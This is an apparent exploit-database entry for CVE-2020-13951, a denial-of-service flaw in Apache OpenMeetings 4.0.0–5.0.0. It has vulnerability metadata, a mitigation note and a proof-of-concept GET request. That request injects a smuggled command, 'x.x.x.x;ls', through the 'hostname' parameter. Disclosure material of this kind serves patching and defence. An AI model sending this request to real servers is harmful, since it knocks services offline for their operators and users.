Apache OpenMeetings 5.0.0 - 'hostname' Denial of Service

vendor:

OpenMeetings

by:

SunCSR (ThienNV - Sun* Cyber Security Research)

7.5

CVSS

HIGH

Denial of Service

CWE

Product Name: OpenMeetings

Affected Version From: 4.0.0

Affected Version To: 5.0.0

Patch Exists: YES

Related CWE: CVE-2020-13951

CPE: a:apache:openmeetings:5.0.0

Metasploit: N/A

Other Scripts: N/A

Platforms Tested: Windows

2020

Apache OpenMeetings 5.0.0 – ‘hostname’ Denial of Service

Apache OpenMeetings 5.0.0 is vulnerable to a denial of service attack when a malicious user sends a specially crafted request containing a payload of 'x.x.x.x;ls' to the 'hostname' parameter. This causes the application to crash and become unresponsive.

Mitigation:

The vendor has released a patch to address this vulnerability. Users should upgrade to the latest version of Apache OpenMeetings.

Source

Exploit-DB raw data:

# Exploit Title: Apache OpenMeetings 5.0.0 - 'hostname' Denial of Service
# Google Dork: "Apache OpenMeetings DOS"
# Date: 2020-08-28
# Exploit Author: SunCSR (ThienNV - Sun* Cyber Security Research)
# Vendor Homepage: https://openmeetings.apache.org/
# Software Link: https://openmeetings.apache.org/
# Version: 4.0.0 - 5.0.0
# Tested on: Windows
# CVE: CVE-2020-13951

- POC:
# Vulnerability variable: hostname
# Payload: x.x.x.x;ls
# Request exploit:

GET /openmeetings/wicket/bookmarkable/org.apache.openmeetings.web.pages.HashPage?3-1.0-panel~main&app=network&navigatorAppName=Netscape&navigatorAppVersion=5.0 (Windows)&navigatorAppCodeName=Mozilla&navigatorCookieEnabled=true&navigatorJavaEnabled=false&navigatorLanguage=en-US&navigatorPlatform=Win32&navigatorUserAgent=Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0&screenWidth=1920&screenHeight=1080&screenColorDepth=24&jsTimeZone=Asia/Ho_Chi_Minh&utcOffset=7&utcDSTOffset=7&browserWidth=1920&browserHeight=966&hostname=x.x.x.x;ls&codebase=https://x.x.x.x:5443/openmeetings/hash&settings=[object Object]&_=1597801817026

- Reference: 
https://lists.apache.org/thread.html/re2aed827cd24ae73cbc320e5808020c8d12c7b687ee861b27d728bbc%40%3Cuser.openmeetings.apache.org%3E
https://nvd.nist.gov/vuln/detail/CVE-2020-13951